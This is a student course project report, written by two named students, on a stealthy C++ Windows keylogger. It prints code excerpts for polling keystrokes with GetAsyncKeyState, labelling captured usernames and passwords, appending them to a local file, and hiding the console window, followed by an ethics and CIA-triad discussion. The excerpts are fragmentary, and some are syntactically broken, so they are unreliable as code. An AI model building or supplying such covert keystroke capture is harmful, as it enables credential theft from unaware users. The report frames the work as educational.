

FINAL REPORT OF NCYS PROJECT

INTRODUCTION:

- **PROJECT TITLE:** Data Logger with Customizable Labels and Formats
- **GROUP MEMBERS:**
 - Mavia Mehmood (22k-4782)
 - Syed Shaiq Hussain (22k-4785)
- **DATE OF SUBMISSION:** Sunday , December 10 , 2023

ABSTRACT

This C++ code implements a discreet keylogger designed to log keyboard input on a Windows system. Operating in a hidden console mode, the keylogger silently captures key presses, translating them into a readable format. The program differentiates between normal typing and capturing sensitive information (username or password) based on its state. Logged data, including alphanumeric characters and special keys, is appended to a file with labels indicating the context of the input. The code also includes functionality to hide the console window, enhancing its stealth.

Code Overview

Purpose:

The primary purpose of the code is to log keyboard input, capturing key presses and translating them into a string format. It operates as a hidden console application to discreetly record user keystrokes.

Components:

1. State Management:

```
enum State
{
    Normal,
    TypingUsername,
    TypingPassword
};

State currentState = Normal;
string currentInput;
```

The State enum is utilized to represent different states of the keylogger. It tracks whether the program is in a normal state or actively capturing input for a username or password.

2. File Operations:

```

void save(const string& data, const string& label)
{
    ofstream file("file.txt", ios::app);
    if (file.is_open())
    {
        file << "[" << label << "]" " << data << "\n";
        file.close();
    }
}

```

The save function handles the writing of logged data to a file named "file.txt." It appends the captured input, along with labels indicating whether the data represents a username or a password.

3. Key Translation:

```

string translate(int k)
{
    string result;

    switch (k)
    {
        case '1':
            result = "1";
            break;
        case '2':
            result = "2";
            break;
    }
}

```

The translate function maps virtual key codes to their corresponding characters or special key identifiers. It is used to convert key presses into a readable format.

4. Main Loop:

```
while (true)
{
    for (int k = 8; k <= 190; k++)
    {
        if (GetAsyncKeyState(k) == -32767)
        {
            key = translate(k);

            if (currentState == TypingUsername || currentState == TypingPassword)
            {
                currentInput += key;
            }
        }
    }
}
```

The main function implements an infinite loop, continuously monitoring keyboard input using the `GetAsyncKeyState` function. It iterates through a range of virtual key codes and, when a key is detected as pressed, translates and processes the key.

5. Logging Logic:

```
case VK_CAPITAL:
    result = "[CAPS_LOCK]";
    break;
case VK_SHIFT:
    result = "[SHIFT]";
    break;
case VK_TAB:
    result = "[TAB]";
    break;
case VK_CONTROL:
```

The program logs key presses, including alphanumeric characters, special keys, and modifiers (e.g., Enter, Backspace, Caps Lock). It differentiates between normal typing and capturing usernames/passwords based on the current state.

6. Stealth Mode:

```
HWND h = GetConsoleWindow();  
ShowWindow(h, SW_HIDE);
```

The code includes functionality to hide the console window using the Windows API (GetConsoleWindow and ShowWindow). This aims to make the keylogger less conspicuous by keeping the console window hidden from the user.

Cybersecurity Implications

This code, operating as a keylogger, has direct relevance to cybersecurity as it highlights potential threats to the CIA triad—Confidentiality, Integrity, and Availability. The code's ability to silently capture keyboard input poses a significant threat to confidentiality, as it can compromise sensitive information such as usernames and passwords. The stealthy nature of the keylogger exacerbates the risk by allowing unauthorized access to confidential data without the user's knowledge. Additionally, the integrity of user data is at stake, as the code can tamper with or manipulate the recorded keystrokes,

leading to potential unauthorized access or data corruption. Furthermore, the continuous monitoring loop may impact system availability, potentially consuming system resources and affecting overall performance. In a cybersecurity context, understanding and addressing threats posed by keyloggers is crucial to safeguarding sensitive information, reinforcing security measures, and upholding the principles of the CIA triad.

Conclusion:

In conclusion, this report has delved into the implementation and implications of a keylogger code, shedding light on its functionality and the cybersecurity risks it poses. While the code serves as an illustrative example for educational purposes, it is essential to emphasize the ethical and legal considerations surrounding the development and use of keyloggers. The potential threats to the CIA triad, particularly confidentiality, integrity, and availability, underscore the critical importance of robust cybersecurity practices. As responsible developers and users, it is crucial to prioritize user privacy, adhere to ethical standards, and comply with legal regulations. In the ever-evolving landscape of cybersecurity, awareness and vigilance are paramount to ensuring the security and integrity of digital systems. This report serves as a reminder of the ethical responsibilities

inherent in software development and the need for a security-first mindset in the realm of cyberspace